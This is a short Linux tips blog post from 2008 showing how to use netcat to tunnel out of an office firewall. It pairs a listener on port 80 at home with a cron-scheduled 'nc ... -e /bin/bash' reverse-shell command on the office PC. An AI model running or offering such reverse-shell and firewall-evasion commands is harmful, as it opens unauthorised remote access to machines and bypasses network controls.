Reverse telnet on Linux using netcat
If you behind a firewall which rejects any incoming connections but permits to connect 80. port of remote side for example, you can still connect your office pc with netcat's reverse telnet ability. To achieve this you have to start netcat as below on your home pc:
nc -vv -l -p 80
it becomes to listen 80. port of your home pc and waits connections.
At this stage, if you run the following commands on your office pc (through cron or at) you can connect back to your office pc from home:
nc <ip_address_of_home_pc> -e /bin/bash
- 0 Comment
- Murat Demirten
- 14 Apr 2008, 13:47
-
You must be login first or sign-up for an account to post comments.
Maybe you should look at these also:
USERBOX
CATEGORIES
MOST READ TODAY
- Syntax highlighting in less
- XFS Filesystem has duplicate UUID problem
- Disabling reverse dns lookups in ssh
- Redirecting tcp / udp ports with socat
- Enabling remote desktop on a VirtualBox Machine
- Remove all frozen messages from exim mail queue
- Users with /bin/false shell to login on vsftpd
- dropbear rsa key problem
- Passwordless sudo setup
- Disabling ssh password authentication
LAST ADDED
- Using iPhone internet sharing over bluetooth under Linux
- Using USB sound card with amarok
- Multi-conditional search and replace (clearing a ftp trojan script example)
- Disabling ipv6 functionality
- How to convert a mp3 file
- How to choose the fastest Debian mirror
- Disabling reverse dns lookups in ssh
- Rewriting destination ip address
- Deleting A File By It's Inode Value
- Learning which libraries are used for a binary
